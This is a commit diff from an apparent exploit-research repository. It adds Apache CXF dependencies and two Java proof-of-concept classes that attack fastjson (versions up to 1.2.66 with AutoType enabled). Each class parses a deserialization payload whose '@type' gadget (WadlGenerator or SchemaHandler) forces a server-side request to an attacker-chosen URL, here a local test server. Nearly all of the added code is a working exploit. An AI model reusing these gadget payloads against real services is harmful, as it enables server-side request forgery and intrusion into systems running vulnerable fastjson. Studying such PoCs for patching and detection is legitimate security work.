File tree Expand file tree Collapse file tree 3 files changed +91
-0
lines changed
src/main/java/com/threedr3am/bug/fastjson Expand file tree Collapse file tree 3 files changed +91
-0
lines changed Original file line number Diff line number Diff line change 9999 <artifactId >cocoon-slide</artifactId >
100100 <version >2.1.11</version >
101101 </dependency >
102+
103+ <dependency >
104+ <groupId >org.apache.cxf</groupId >
105+ <artifactId >cxf-core</artifactId >
106+ <version >3.3.5</version >
107+ </dependency >
108+ <dependency >
109+ <groupId >org.apache.cxf</groupId >
110+ <artifactId >cxf-bundle</artifactId >
111+ <version >2.7.18</version >
112+ </dependency >
102113 </dependencies >
103114</project >
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .HTTPServer ;
6+
7+ /**
8+ * fastjson <= 1.2.66 RCE,需要开启AutoType
9+ *
10+ *
11+ * <dependency>
12+ * <groupId>org.apache.cxf</groupId>
13+ * <artifactId>cxf-core</artifactId>
14+ * <version>3.3.5</version>
15+ * </dependency>
16+ * <dependency>
17+ * <groupId>org.apache.cxf</groupId>
18+ * <artifactId>cxf-bundle</artifactId>
19+ * <version>2.7.18</version>
20+ * </dependency>
21+ *
22+ * @author threedr3am
23+ */
24+ public class ApacheCxfSSRFPoc {
25+
26+ static {
27+ HTTPServer .PORT = 23234 ;
28+ HTTPServer .run (null );
29+ }
30+
31+ public static void main (String [] args ) {
32+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
33+ String payload = "{\" @type\" :\" org.apache.cxf.jaxrs.model.wadl.WadlGenerator\" ,\" schemaLocations\" : \" http://127.0.0.1:23234?a=1&b=22222\" }" ;
34+ try {
35+ JSON .parse (payload );
36+ } catch (Exception e ) {
37+ e .printStackTrace ();
38+ }
39+ }
40+ }
Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .fastjson ;
2+
3+ import com .alibaba .fastjson .JSON ;
4+ import com .alibaba .fastjson .parser .ParserConfig ;
5+ import com .threedr3am .bug .common .server .HTTPServer ;
6+
7+ /**
8+ * fastjson <= 1.2.66 RCE,需要开启AutoType
9+ *
10+ *
11+ * <dependency>
12+ * <groupId>org.apache.cxf</groupId>
13+ * <artifactId>cxf-core</artifactId>
14+ * <version>3.3.5</version>
15+ * </dependency>
16+ * <dependency>
17+ * <groupId>org.apache.cxf</groupId>
18+ * <artifactId>cxf-bundle</artifactId>
19+ * <version>2.7.18</version>
20+ * </dependency>
21+ *
22+ * @author threedr3am
23+ */
24+ public class ApacheCxfSSRFPoc2 {
25+
26+ static {
27+ HTTPServer .PORT = 23234 ;
28+ HTTPServer .run (null );
29+ }
30+
31+ public static void main (String [] args ) {
32+ ParserConfig .getGlobalInstance ().setAutoTypeSupport (true );
33+ String payload = "{\" @type\" :\" org.apache.cxf.jaxrs.utils.schemas.SchemaHandler\" ,\" schemaLocations\" : \" http://127.0.0.1:23234?a=1&b=22222\" }" ;
34+ try {
35+ JSON .parse (payload );
36+ } catch (Exception e ) {
37+ e .printStackTrace ();
38+ }
39+ }
40+ }
You can’t perform that action at this time.
0 commit comments